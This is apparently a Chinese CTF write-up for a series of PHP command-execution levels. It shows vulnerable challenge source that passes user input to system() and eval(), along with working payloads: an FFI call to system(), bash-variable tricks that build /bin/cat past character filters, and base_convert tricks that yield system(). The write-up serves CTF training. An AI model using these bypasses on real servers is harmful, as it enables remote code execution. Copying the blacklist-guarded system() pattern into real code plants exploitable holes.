  2. 讀取檔案,嘗試了uaf的指令碼,但是發現strlen被禁用了,所以使用不了,include也不行

    再嘗試上一題的payload

    提示 mysqli_connect未定義 ,並且去掉exit不是替換成而是把數字字母給替換成了空格

    檢視wp發現可以使用FFI擴充

    https://www.laruence.com/2020/03/11/5475.html

  3. 構造

    c=$ffi = FFI::cdef("int system(const char *command);"); 
    $a='/readflag > /var/www/html/1.txt'; 
    $ffi->system($a); 
    exit(); 
    
    • FFI::cdef("int system(const char *command);"): 這行程式碼使用 FFI::cdef() 宣告瞭 C 語言的 system() 函式,允許 PHP 呼叫該函式來執行系統命令。
    • $ffi->system($a);: 使用 FFI 呼叫 system() 函式執行 $a 中的命令。
    • $a = '/readflag > /var/www/html/1.txt';: 這行定義了一個字串 $a,包含要執行的命令。這個命令會將 readflag 程式的輸出重定向到檔案 /var/www/html/1.txt

    本來是想嘗試 cat /flag36x.txt > /var/www/html/1.txt 的,但是發現不可以 | https://blog.csdn.net/weixin_44700621/article/details/125381763

    傳入後再檢視當前目錄是否存在1.txt

    c=$a = new DirectoryIterator('glob://*');foreach($a as $f){echo($f->__toString().'<br>');};exit();
    // 1.txt flag.php index.php 存在
    
  4. 讀取1.txt

    c=include('1.txt');exit();
    

web118

進去是一個輸入框

  1. 簡單輸入一些命令 ls 啥的會提示evil input ,掃描沒發現什麼有用的,f12 發現 system($code); 應該把字串傳輸到system()函式里,題目提示了flag in flag.php

  2. fuzz檢測一下過濾了啥

    過濾了小寫字母和 `! % ^ & * ( + | [ ] \ ’ ” < > , / ``

  3. 一般payload都是nl flag.txt 之類的,檔名可以用 ????.??? ,前面的cat可以使用bash內建變數來構造

    參考連結:https://www.freebuf.com/articles/web/321865.html

    payload:${PATH:~${#}}${PWD:~${#}}${IFS}????.???

web119

題目給的資訊和之前的差不多

  1. 首先進行fuzz

    能用字元就是大寫字母和

    還是夠我們構造bash內建變數RCE的

  2. 輸入之前的payload顯示evil input

    應該是什麼被過濾了,經過測試發現BASH被過濾了

    那就得使用別的內建變數來構造,其實可以構造/bin/cat flag.php 約等於 /???/?a? ????.???

    # 嘗試了/???/?a? ????.???但好像使用了別的命令
    ${PWD::${#?}}???${PWD::${#?}}?${USER:~${#}} ????.???
    # 多構造個t
    ${PWD::${#?}}???${PWD::${#?}}?${USER:~${#}}${USER:~${#SHLVL}:${#SHLVL}}${IFS}????.???
    
    

web120

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

有長度限制payload長度不能大於65,過濾PATH|BASH|HOME

  1. 看著依舊是BASH內建變數RCE,嘗試了上一關的payload不過超長度限制了

    ${PWD::${#?}}???${PWD::${#?}}??${USER:~${#SHLVL}:${#?}} ????.???
    // 稍微修改一下
    

web121

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?> 

USER,SHLVL 不能使用了,可以構造 /bin/base64 flag.php

payload : ${PWD::${#?}}???${PWD::${#?}}?????${#$RANDOM} ????.???

${#$RANDOM} 為四位數的時候即可,多傳送幾次

web122


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
	        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

PWD是用不了了,但是HOME可以用了,不是哥們?#,~也用不了

找到了個新特性來構造1,那就是$?

$?表示上一條命令執行結束後的傳回值。通常0代表執行成功,非0代表執行有誤

<A返回的錯誤值 使得$?為1,

payload: <A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

要多嘗試幾次

web124


error_reporting(0);
//聽說你很喜歡數學,不知道你是否愛它勝過愛flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太長了不會算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("請不要輸入奇奇怪怪的字元");
        }
    }
    //常用數學函式http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("請不要輸入奇奇怪怪的函式");
        }
    }
    //幫你算出答案
    eval('echo '.$content.';');
}

白名單函式:

abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'
base_convert  		#在任意進位制之間轉換數字。
hexdec 			 #把十六進位制轉換為十進位制。
dechex 			#把十進位制轉換為十六進位制。
hex2bin  		#把十六進位制的字串轉換為ASCII碼

思路:

參考:https://blog.csdn.net/Kracxi/article/details/121758970#:~:text=CTFshow 命令

// 把 hex2bin轉化為10進位制
echo base_convert("hex2bin", 36, 16);   //37907361743
echo "<br>";
echo base_convert("8d3746fcf", 16, 36);  //hex2bin
echo "<br>";
//把_GET 先轉為16進位制再轉為10進位制
echo hexdec(bin2hex("_GET"));  //1598506324
echo "<br>";
echo base_convert("8d3746fcf", 16, 36)(dechex("1598506324"));  // 繞過過濾拿到 "_GET"

構造程式碼:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=ls
// 相當於 
?c=$pi='_GET';$$pi{abs}($$pi{acos})&abs=system&acos=ls

相關文章